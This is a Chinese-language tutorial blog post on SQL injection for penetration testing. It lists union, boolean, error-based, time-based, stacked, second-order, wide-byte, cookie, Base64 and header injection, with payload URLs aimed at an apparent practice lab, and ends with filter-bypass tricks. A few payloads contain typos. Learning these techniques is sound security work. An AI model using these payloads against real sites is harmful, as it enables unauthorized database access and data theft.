渗透测试之SQL注入

SQL注入基础

  1. SQL注入漏洞的产生需要满足以下两个条件:
    参数用户可控:前端传给后端的参数内容是用户可控的; 参数代入数据库查询:传入的参数拼接到SQL语句且带入数据库查询。
  2. 与MySQL注入相关的知识点

在MySQL5.0版本之后,MySQL默认在数据库存放一个" information_schema" 的数据库, 在该库中,我们需要记住三个表名 ,分别是"SCHEMATA、TABLES、COLUMNS"
需要记住的函数:

database():当前网站使用的数据库;
version():当前MySQL版本;
user(): 当前MySQL的用户;

注释符:# 或 --空格 或 /**/

内联注释符: /*! code */
常用注入语句:

union select 1,schema_name from information_schema.schemata                          爆库
union select 1,table_name from information_schema.tables where table_schema='库名'   爆表
union select 1,column_name from information_schema.columns where table_schema='库名' 爆列
union select 1,k0y from thiskey                           查看数据                  

SQL注入靶场

注入攻击

  1. Union 注入攻击
  #判断是否存在注入
http://43.247.91.228:84/Less-1/?id=1'    #后面直接加单引号,如果报错,可能存在注入
http://43.247.91.228:84/Less-1/?id=1  and 1=1   #返回正常
http://43.247.91.228:84/Less-1/?id=1  and 1=2   #返回错误 可能存在注入

#查询字段数
http://43.247.91.228:84/Less-1/?id=1  order by 1  #返回正常
http://43.247.91.228:84/Less-1/?id=1  order by 2  #返回正常
http://43.247.91.228:84/Less-1/?id=1  order by 3  #返回报错   字段数为2

#查询参数所对应的内容,然后将数据库的内容输出到页面
http://43.247.91.228:84/Less-1/?id=-1 union select 1,2  # 返回数字2
http://43.247.91.228:84/Less-1/?id=-1 union select 1,database()  #查询当前数据库
http://43.247.91.228:84/Less-1/?id=-1 union select 1,union select 1,table_name from information_schema.tables where table_schema='库名'   爆表
http://43.247.91.228:84/Less-1/?id=-1 union select 1,column_name from information_schema.columns where table_schema='库名' 爆列
http://43.247.91.228:84/Less-1/?id=-1 union select 1,k0y from thiskey                     查看字段     

  1. Boolean 注入攻击
#判断是否存在注入
http://43.247.91.228:84/Less-5/?id=1'   #返回结果由yes 变成了 no  可能存在注入

#判断数据库的长度
http://43.247.91.228:84/Less-5/?id=1‘ and length(database())>=1--+  #1可以换为任何一个你觉得可能长度的数字
http://43.247.91.228:84/Less-5/?id=1’ and length(database())>=3--+  #返回yes
http://43.247.91.228:84/Less-5/?id=1’ and length(database())>=4--+  #返回 no 判断出数据库长度为3

#判断数据库库名
http://43.247.91.228:84/Less-5/?id=1’ and substr(database(),1,1)='t'--+   #判断第一个字符是否为 't' 是则返回yes
# substr 是截取的意思 't' 可以是任何一个字符 直到返回yes 就证明字符猜对了
http://43.247.91.228:84/Less-5/?id=1’ and substr(database(),2,1)='q'--+   #判断第二个字符是否为 'q' 直到判断出数据库名

#查询表名、字段名 将database() 换为(select table_name from information_schema.tables where table_schema='sql' limit 0,1)

http://43.247.91.228:84/Less-5/?id=1’ and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+

#依此类推直到推出所有的表名和字段名
  1. 报错注入攻击
    加 ’ 后报错:数据库语法错误
#获取当前数据库的库名
’ and updatexml(1,concet(0x7e,(select database()),0x7e),1)--+   #0x7e~ASCII编码

#接着继续获取数据库的表名字段名  方法同上,将database() 换为查询语句 并为查询语句加上 ()   
’ and updatexml(1,concet(0x7e,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),0x7e),1)--+

SQL 注入进阶

  1. 时间注入攻击 #Boolean注入的进阶——时间盲注
    它与Boolean注入的不同之处在于,时间注入是利用sleep() 或 benchmark() 等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用 含义是:如果expr1是 TRUE ,则IF()的返回值为expr2;否者返回值为expr3.
if (length(database())>=1,sleep(5),1) #如果数据库库名的长度大于1,则MySQL查询休眠5秒
#其他查询语句 与Boolean注入相似。将database() 替换为查询语句即可查询数据库的表名,列名,字段
  1. 堆叠查询注入攻击
    堆叠查询可以执行多条语句,多语句之间用分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id=1’ ,页面返回MySQL错误,在访问id=1’%23,页面返回正常结果。这里可以使用Boolean注入、时间注入、也可以用另外一种注入方式——堆叠注入
#注入语句
';select if(substr((database() limit 0,1),1,1)='e',sleep(3),1)%23
  1. 二次注入攻击
    #1.php页面的功能是注册用户名;也是插入SQL语句的地方;2.php页面的功能是通过id参数读取用户名和用户信息
   http://www.xxx.com.er/1.php?username=test 和
   http://www.xxx.com.er/2.php?id=10
   
   #第一步,访问1.php?username=test'
   返回结果是用户名test' 对应的id为21
   #第二步访问2.php?id=21;
   返回结果 报错:error in your SQL syntax
   #第三部 返回第一步访问1.php?username=test' order by 1%23
   返回一个新的id=32
   #第四步  再访问2.php?id=32
   返回空白页面
   
重复第三步第四步(改变order by 字段数,返回id也不同) 直到页面返回错误信息, 从而判断出字段数。  

  1. 宽字节注入攻击
访问 id=1' 时 程序并没有报错,反而多了一个注意字符(反斜杠'\\');
当数据库编码为GBK时可以使用宽字节注入;
注入方式: id=1%df'%23          #先加%df再加‘    %23用来注释单引号;
因为反斜杠的编码是%5c,而在GBK编码中,%df%5c 是繁体字 "連";所以这时候单引号成功逃逸,报出MySQL数据库的错误;
接下来就可以用Union 查询,与Union注入一样。
  1. cookie注入攻击
 发现URL中没有GET参数,但是页面返回正常,这时我们使用Burp Suite 抓取数据包,如果发现cookie中存在id=1的参数,则可能存在cookie注入。
 用Burp Suite 修改cookie中的参数id=1 and 1=1   和 id=1 and 1=2,即可判断是否存在cookie注入。
  1. Base64注入攻击
发现id后面的参数经过base64编码,尝试参数后面加上一个单引号并一起转换成Base64编码
访问后页面返回错误 然后将参数改为 1 and 1=1 和 1 and 1=2 并且Base64编码, 查看访问结果; 判断是否存在注入
  1. XFF注入攻击
    XFF即HTTP请求头中的一个头部参数 X-Forwarded-for;它代表客户端真实的IP,通过修改X-Forwarded-for 的值可以伪造客户端IP

SQL 注入绕过

  1. 大小写绕过注入 例如: And aNd Order …

  2. 双写绕过注入 例如: anandd oorrder by…

  3. 编码绕过注入 例如:二次url编码

  4. 内联注释绕过注入 :

    id=1 /*!and*/ 1=1   
    id=1 /*!and*/ 1=2
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值